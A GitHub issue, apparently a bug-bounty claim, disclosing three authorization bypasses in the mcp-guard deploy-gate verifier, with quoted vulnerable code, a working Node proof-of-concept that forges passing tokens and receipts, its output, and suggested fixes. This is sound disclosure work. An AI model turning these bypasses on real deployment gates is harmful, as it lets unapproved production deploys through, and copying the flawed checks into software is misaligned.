deploy-gate icon indicating copy to clipboard operation
deploy-gate copied to clipboard

Bounty #36: verifyAuthorization multi-sig role attribution & future signed_at TTL bypass, plus one-sided scope.ref / scope.commitSha checks

Open ket4min-susan opened this issue 1 month ago • 1 comments

Claim for permission-protocol/deploy-gate#36.

Summary

Auditing permission-protocol/mcp-guard main (91930537639319c9bbe27121ed3775526136da41) uncovered three verification and policy-enforcement bypasses in the reference verifiers (src/enforcement/verifier.ts and src/receipt-verify.ts) that are distinct from all previously reported issues (#48–#78):

  1. Multi-sig role attribution bypass (src/enforcement/verifier.ts:74-82): When verifying a multi-approval policy (required_approvals >= 2 with allowed_roles), verifyAuthorization evaluates const hasAllowedRole = policy.allowed_roles ? token.roles.some(...) : true across the token's flat token.roles array rather than attributing roles per signer. If any single signer on the token holds an allowed role (e.g. "admin"), every distinct entry in token.signers inherits hasAllowedRole === true and increments validSignatures.
    • When allowed_signers lists both privileged and non-privileged identities, 1 admin + (N-1) viewers satisfies an N-admin approval policy.
    • When a policy specifies allowed_roles: ["admin"] and required_approvals: 2 without enumerating allowed_signers, a single admin plus any unprivileged identity (signers: ["alice", "unprivileged-viewer"], roles: ["admin"]) satisfies the 2-approval requirement.
  2. Arbitrary token lifetime via unvalidated future signed_at (src/enforcement/verifier.ts:36-41, 98-103): verifyAuthorization checks token.expires_at < now and payload.expires_at < now, and then enforces policy.max_ttl_seconds using const ttl = token.expires_at - token.signed_at. It never checks token.signed_at <= now, token.signed_at <= token.expires_at, or payload.expires_at - payload.issued_at <= policy.max_ttl_seconds. Setting token.signed_at = token.expires_at (or in the future) makes ttl <= 0, allowing a token and payload that remain valid for 1 year (expires_at = now + 31536000) to pass a strict max_ttl_seconds: 300 policy.
  3. One-sided scope.ref / scope.commitSha verification (src/receipt-verify.ts:77-94, 152-160, 200-206 & templates/github-actions/receipt-gate.yml:73-78): Both verifyArtifactReceipt (jcs_v2) and verifyReceipt (legacy 0.2) only compare scope.ref when expected.scope_ref !== undefined, and only compare scope.commitSha when expected.scope_sha !== undefined. If a human approves a receipt that explicitly signs a restrictive scope.ref in requestJson.scope.ref (for example refs/heads/canary or refs/pull/7/merge), the reference receipt gate (mcp-guard verify --scope deploy:production --scope-sha <sha>, which omits --scope-ref) silently ignores the signed scope.ref constraint and returns valid: true (exit 0) even when --call is supplied and matches.

Exact Code Locations

  1. mcp-guard/src/enforcement/verifier.ts:70-85 (Multi-sig role attribution):

    // Each distinct signer counts once: a repeated name is not a second approval.
    for (const signer of new Set(token.signers)) {
      const isAllowedSigner = policy.allowed_signers ? policy.allowed_signers.includes(signer) : true;
      const hasAllowedRole = policy.allowed_roles ? token.roles.some(r => policy.allowed_roles!.includes(r)) : true;
    
      if (isAllowedSigner && hasAllowedRole) {
        validSignatures++;
      }
    }
    

    hasAllowedRole does not depend on signer; it is a loop-invariant boolean over token.roles.

  2. mcp-guard/src/enforcement/verifier.ts:36-42, 98-103 (Future signed_at bypasses max_ttl_seconds):

    const now = Math.floor(Date.now() / 1000);
    if (token.expires_at < now) {
      throw new Error('Authorization token expired');
    }
    if (payload.expires_at < now) {
      throw new Error('Payload expired');
    }
    ...
    if (policy.max_ttl_seconds) {
      const ttl = token.expires_at - token.signed_at;
      if (ttl > policy.max_ttl_seconds) {
        throw new Error(`Policy violation: Token TTL (${ttl}s) exceeds policy max_ttl_seconds (${policy.max_ttl_seconds}s)`);
      }
    }
    

    Because token.signed_at is not bounded by now (and token.expires_at - now / payload.expires_at - now are not checked against max_ttl_seconds), any future signed_at close to expires_at yields ttl <= 0, bypassing max_ttl_seconds.

  3. mcp-guard/src/receipt-verify.ts:77-94, 152-160, 200-206 (One-sided scope.ref / scope.commitSha check):

    function checkExpectedScope(
      actual: { scope: string; ref?: string | null; sha?: string | null } | null,
      expected: ExpectedScope,
    ): string[] {
      if (!actual) {
        return [`PP_SCOPE_MISMATCH: expected scope "${expected.scope}", receipt has no scope`];
      }
      const reasons: string[] = [];
      if (actual.scope !== expected.scope) {
        reasons.push(`PP_SCOPE_MISMATCH: scope is "${actual.scope}", expected "${expected.scope}"`);
      }
      if (expected.scope_ref !== undefined && (actual.ref ?? null) !== expected.scope_ref) {
        reasons.push(`PP_SCOPE_MISMATCH: scope.ref is "${actual.ref ?? ''}", expected "${expected.scope_ref}"`);
      }
      if (expected.scope_sha !== undefined && (actual.sha ?? null) !== expected.scope_sha) {
        reasons.push(`PP_SCOPE_MISMATCH: scope.sha is "${actual.sha ?? ''}", expected "${expected.scope_sha}"`);
      }
      return reasons;
    }
    

    When the receipt carries a signed scope.ref (e.g. "refs/heads/canary") and the gate omits --scope-ref (as templates/github-actions/receipt-gate.yml:73-78 does), expected.scope_ref is undefined, so the signed ref restriction in requestJson.scope.ref is never enforced.


Local Reproduction

Against permission-protocol/mcp-guard main (91930537639319c9bbe27121ed3775526136da41):

npm ci
npm run build
node --input-type=module <<'EOF'
import { mkdtempSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { generateKeyPairSync, createHash, sign } from "node:crypto";
import stableStringify from "fast-json-stable-stringify";
import { verifyAuthorization, buildAuthorizationSigningBytes } from "./dist/src/enforcement/verifier.js";
import { createKey } from "./dist/src/keystore.js";
import { verifyArtifactReceipt } from "./dist/src/receipt-verify.js";
import { Issuer } from "./dist/src/issuer.js";

const { privateKey, publicKey } = generateKeyPairSync("ed25519");
const publicKeyPem = publicKey.export({ type: "spki", format: "pem" }).toString();
const now = Math.floor(Date.now() / 1000);

// 1. Multi-sig role attribution bypass
const policyTwoAdmin = {
  protected: true,
  allowed_signers: ["alice", "mallory"],
  allowed_roles: ["admin"],
  required_approvals: 2,
  max_ttl_seconds: 300,
};
const payload1 = {
  request_id: "req-role-bypass",
  action: "deploy:production",
  args: { repo: "permission-protocol/demo", ref: "a1b2c3d4" },
  issued_at: now,
  expires_at: now + 120,
  nonce: "nonce-role-bypass",
};
const token1 = {
  request_id: payload1.request_id,
  decision: "approved",
  payload_hash: "sha256:" + createHash("sha256").update(stableStringify(payload1)).digest("hex"),
  signers: ["alice", "mallory"],
  roles: ["admin", "viewer"],
  signed_at: now,
  expires_at: now + 120,
  key_id: "pp-prod-1",
  signature: "",
};
token1.signature = sign(null, Buffer.from(buildAuthorizationSigningBytes(token1)), privateKey).toString("hex");
console.log("PoC 1 (2-admin policy satisfied by 1 admin + 1 viewer):", {
  verified: await verifyAuthorization(payload1, token1, publicKeyPem, policyTwoAdmin),
});

// 2. 1-year token bypasses max_ttl_seconds=300 via future signed_at
const payload2 = {
  ...payload1,
  request_id: "req-ttl-bypass",
  expires_at: now + 86400 * 365,
  nonce: "nonce-ttl-bypass",
};
const token2 = {
  ...token1,
  request_id: payload2.request_id,
  payload_hash: "sha256:" + createHash("sha256").update(stableStringify(payload2)).digest("hex"),
  signers: ["alice"],
  roles: ["admin"],
  signed_at: now + 86400 * 365,
  expires_at: now + 86400 * 365,
  signature: "",
};
token2.signature = sign(null, Buffer.from(buildAuthorizationSigningBytes(token2)), privateKey).toString("hex");
console.log("PoC 2 (1-year token passes max_ttl_seconds=300):", {
  actualRemainingSeconds: token2.expires_at - now,
  computedTtlSeconds: token2.expires_at - token2.signed_at,
  policyMaxTtlSeconds: 300,
  verified: await verifyAuthorization(payload2, token2, publicKeyPem, { ...policyTwoAdmin, required_approvals: 1 }),
});

// 3. Receipt signed with restrictive scope.ref ("refs/heads/canary") passes a gate that omits --scope-ref
const dir = mkdtempSync(join(tmpdir(), "mcpg-audit-"));
const key = createKey({ dir });
const pins = new Map([[key.keyId, key.fingerprint]]);
const SHA = "308d9db71a3c1b446dfcd8abb2ba25639d67c745";
const issuer = new Issuer({
  config: {
    version: "0.3",
    mode: "enforce",
    default_action: "allow",
    approval_ttl_seconds: 900,
    receipt_ttl_seconds: 3600,
    scoped_receipt_ttl_seconds: 900,
    server_label: "srv",
    signing: "required",
    rules: [],
  },
  agentId: "agent-1",
  keysDir: dir,
});
const canaryReceipt = issuer.issue({
  method: "tools/call",
  tool: "deploy",
  input: { env: "production", sha: SHA },
  status: "APPROVED",
  ruleId: "deploy",
  reasonCodes: ["OPERATOR_APPROVED"],
  decider: { kind: "operator", operator: "rod" },
  scope: { scope: "deploy:production", scope_ref: "refs/heads/canary", scope_sha: SHA },
});
const verifyOut = verifyArtifactReceipt(
  { artifact: canaryReceipt.artifact },
  key.keySet,
  {
    trust: pins,
    expected: { scope: "deploy:production", scope_sha: SHA },
    call: { tool: "deploy", operation: "tools/call", input: { env: "production", sha: SHA } },
  },
);
console.log("PoC 3 (Canary-ref receipt verified against gate without --scope-ref):", {
  signedScope: JSON.parse(canaryReceipt.record.requestJson).scope,
  expectedScope: { scope: "deploy:production", scope_sha: SHA },
  valid: verifyOut.valid,
  reasons: verifyOut.reasons,
});
EOF

Observed output:

PoC 1 (2-admin policy satisfied by 1 admin + 1 viewer): { verified: true }
PoC 2 (1-year token passes max_ttl_seconds=300): {
  actualRemainingSeconds: 31536000,
  computedTtlSeconds: 0,
  policyMaxTtlSeconds: 300,
  verified: true
}
PoC 3 (Canary-ref receipt verified against gate without --scope-ref): {
  signedScope: {
    capability: 'deploy:production',
    commitSha: '308d9db71a3c1b446dfcd8abb2ba25639d67c745',
    ref: 'refs/heads/canary'
  },
  expectedScope: {
    scope: 'deploy:production',
    scope_sha: '308d9db71a3c1b446dfcd8abb2ba25639d67c745'
  },
  valid: true,
  reasons: []
}

Suggested Fixes

  1. Per-signer role binding (src/enforcement/verifier.ts): Bind each signer to their own roles (e.g. approvals: Array<{ signer: string; roles: string[] }> or parallel index validation when token.roles.length === token.signers.length, failing closed if per-signer role attribution is absent when policy.allowed_roles and required_approvals > 1 are both configured).
  2. Strict timestamp & TTL bounds (src/enforcement/verifier.ts):
    • Require Number.isFinite(token.signed_at), Number.isFinite(token.expires_at), Number.isFinite(payload.issued_at), and Number.isFinite(payload.expires_at).
    • Reject tokens where token.signed_at > now + CLOCK_SKEW_SECONDS or token.expires_at < token.signed_at or payload.issued_at > now + CLOCK_SKEW_SECONDS or payload.expires_at < payload.issued_at.
    • Enforce policy.max_ttl_seconds against both token.expires_at - token.signed_at, payload.expires_at - payload.issued_at, and Math.max(token.expires_at, payload.expires_at) - now.
  3. Fail-closed scope constraint enforcement (src/receipt-verify.ts): When a receipt signs a non-null scope.ref (or scope.commitSha), require expected.scope_ref (or expected.scope_sha) to be explicitly supplied and equal to the signed value, so a receipt restricted to a specific ref/branch cannot verify against a ref-agnostic gate.

Validation

  • npm ci
  • npm run build
  • npm test — 217 tests, 213 passing, 0 failures
  • All three PoCs reproduced locally against permission-protocol/mcp-guard 91930537639319c9bbe27121ed3775526136da41.

If this qualifies under #36, payout can be sent to 0x8403552Cc81858Eb301Efbed64Bb0A25b33EF727 (USDC on Base / EVM) or payment details can be provided privately.

ket4min-susan avatar Oct 31 '26 06:10 ket4min-susan

Opened companion fix PR with regression tests in permission-protocol/mcp-guard: https://github.com/permission-protocol/mcp-guard/pull/21 (+69/-14 lines across 4 files, all 220 tests passing).

ket4min-susan avatar Oct 31 '26 06:10 ket4min-susan